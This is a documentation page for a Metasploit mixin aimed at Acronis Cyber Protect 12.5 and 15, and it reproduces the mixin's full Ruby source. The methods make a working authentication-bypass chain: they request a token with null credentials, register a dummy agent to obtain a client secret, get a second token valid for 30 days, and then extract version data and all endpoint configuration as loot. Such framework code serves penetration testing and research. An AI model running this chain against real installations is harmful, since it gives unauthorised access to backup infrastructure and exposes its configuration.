Module: Msf::Exploit::Remote::HTTP::AcronisCyber

Includes:
Msf::Exploit::Remote::HttpClient
Defined in:
lib/msf/core/exploit/remote/http/acronis_cyber.rb

Overview

This mixin module provides provides a way of interacting with Acronis Cyber 15 and Backup 12.5 installations

Instance Attribute Summary

Attributes included from Msf::Exploit::Remote::HttpClient

#client, #cookie_jar

Instance Method Summary collapse

Methods included from Msf::Exploit::Remote::HttpClient

#basic_auth, #cleanup, #configure_http_login_scanner, #connect, #connect_ws, #deregister_http_client_options, #disconnect, #download, #full_uri, #handler, #http_fingerprint, #initialize, #lookup_http_fingerprints, #normalize_uri, #path_from_uri, #peer, #proxies, #reconfig_redirect_opts!, #request_opts_from_url, #request_url, #rhost, #rport, #send_request_cgi, #send_request_cgi!, #send_request_raw, #service_details, #setup, #ssl, #ssl_version, #strip_tags, #target_uri, #validate_fingerprint, #vhost

Methods included from Auxiliary::LoginScanner

#configure_login_scanner

Methods included from Auxiliary::Report

#active_db?, #create_cracked_credential, #create_credential, #create_credential_and_login, #create_credential_login, #db, #db_warning_given?, #get_client, #get_host, #inside_workspace_boundary?, #invalidate_login, #mytask, #myworkspace, #myworkspace_id, #report_auth_info, #report_client, #report_exploit, #report_host, #report_loot, #report_note, #report_service, #report_vuln, #report_web_form, #report_web_page, #report_web_site, #report_web_vuln, #store_cred, #store_local, #store_loot

Methods included from Metasploit::Framework::Require

optionally, optionally_active_record_railtie, optionally_include_metasploit_credential_creation, #optionally_include_metasploit_credential_creation, optionally_require_metasploit_db_gem_engines

Instance Method Details

#dummy_agent_registration(client_id, access_token1) ⇒ client_secret?

register a dummy agent in Acronis Cyber Protect 12.5 and 15.0

Parameters:

  • random (client_id)

    generated uuid

  • first (access_token1)

    access_token

Returns:

  • (client_secret, nil)

    returns client_secret or nil if not successful



38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
# File 'lib/msf/core/exploit/remote/http/acronis_cyber.rb', line 38

def dummy_agent_registration(client_id, access_token1)
  name = Rex::Text.rand_text_alphanumeric(5..8).downcase
  post_data = {
    client_id: client_id.to_s,
    data: { agent_type: 'backupAgent', hostname: name.to_s, is_transient: true },
    tenant_id: nil,
    token_endpoint_auth_method: 'client_secret_basic',
    type: 'agent'
  }.to_json
  res = send_request_cgi({
    'method' => 'POST',
    'uri' => normalize_uri(target_uri.path, 'api', 'account_server', 'v2', 'clients'),
    'ctype' => 'application/json',
    'headers' => {
      'X-Requested-With' => 'XMLHttpRequest',
      'Authorization' => "bearer #{access_token1}"
    },
    'data' => post_data.to_s
  })
  return unless res&.code == 201 && res.body.include?('client_id') && res.body.include?('client_secret')

  # parse json response and return client_secret
  res_json = res.get_json_document
  return if res_json.blank?

  res_json['client_secret']
end

#get_access_token1access_token?

get the first access_token

Returns:

  • (access_token, nil)

    returns first access_token or nil if not successful



10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
# File 'lib/msf/core/exploit/remote/http/acronis_cyber.rb', line 10

def get_access_token1
  res = send_request_cgi({
    'method' => 'POST',
    'uri' => normalize_uri(target_uri.path, 'idp', 'token'),
    'ctype' => 'application/x-www-form-urlencoded',
    'headers' => {
      'X-Requested-With' => 'XMLHttpRequest'
    },
    'vars_post' => {
      'grant_type' => 'password',
      'username' => nil,
      'password' => nil
    }
  })
  return unless res&.code == 200
  return unless res.body.include?('access_token')

  # parse json response and return access_token
  res_json = res.get_json_document
  return if res_json.blank?

  res_json['access_token']
end

#get_access_token2(client_id, client_secret) ⇒ access_token?

get second access_token which is valid for 30 days

Parameters:

  • random (client_id)

    generated uuid

  • client_secret (client_secret)

    retrieved from a successful agent registration

Returns:

  • (access_token, nil)

    returns first access_token or nil if not successful



70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
# File 'lib/msf/core/exploit/remote/http/acronis_cyber.rb', line 70

def get_access_token2(client_id, client_secret)
  res = send_request_cgi({
    'method' => 'POST',
    'uri' => normalize_uri(target_uri.path, 'idp', 'token'),
    'ctype' => 'application/x-www-form-urlencoded',
    'headers' => {
      'X-Requested-With' => 'XMLHttpRequest'
    },
    'vars_post' => {
      'grant_type' => 'client_credentials',
      'client_id' => client_id.to_s,
      'client_secret' => client_secret.to_s
    }
  })
  return unless res&.code == 200
  return unless res.body.include?('access_token')

  # parse json response and return access_token
  res_json = res.get_json_document
  return if res_json.blank?

  res_json['access_token']
end

#get_machine_info(access_token2) ⇒ res_json?

return all configured items in json format

Parameters:

  • second (access_token2)

    access_token

Returns:

  • (res_json, nil)

    returns machine info in json format or nil if not successful



120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
# File 'lib/msf/core/exploit/remote/http/acronis_cyber.rb', line 120

def get_machine_info(access_token2)
  res = send_request_cgi({
    'method' => 'GET',
    'uri' => normalize_uri(target_uri.path, 'api', 'ams', 'resources'),
    'ctype' => 'application/json',
    'keep_cookies' => true,
    'headers' => {
      'X-Requested-With' => 'XMLHttpRequest',
      'Authorization' => "bearer #{access_token2}"
    },
    'vars_get' => {
      'embed' => 'details'
    }
  })
  return unless res&.code == 200
  return unless res.body.include?('items') || res.body.include?('data')

  if datastore['OUTPUT'] == 'json'
    loot_path = store_loot('acronis.cyber.protect.config', 'application/json', datastore['RHOSTS'], res.body, 'configuration', 'endpoint configuration')
    print_good("Configuration details are successfully saved in json format to #{loot_path}")
  end

  # parse json response and get the relevant machine info
  res_json = res.get_json_document
  return if res_json.blank?

  res_json
end

#get_version_info(access_token2) ⇒ version?

returns version information

Parameters:

  • second (access_token2)

    access_token

Returns:

  • (version, nil)

    returns version or nil if not successful



97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
# File 'lib/msf/core/exploit/remote/http/acronis_cyber.rb', line 97

def get_version_info(access_token2)
  res = send_request_cgi({
    'method' => 'GET',
    'uri' => normalize_uri(target_uri.path, 'api', 'ams', 'versions'),
    'ctype' => 'application/json',
    'headers' => {
      'X-Requested-With' => 'XMLHttpRequest',
      'Authorization' => "bearer #{access_token2}"
    }
  })
  return unless res&.code == 200
  return unless res.body.include?('backendVersion')

  # parse json response and get the relevant machine info
  res_json = res.get_json_document
  return if res_json.blank?

  res_json['backendVersion']
end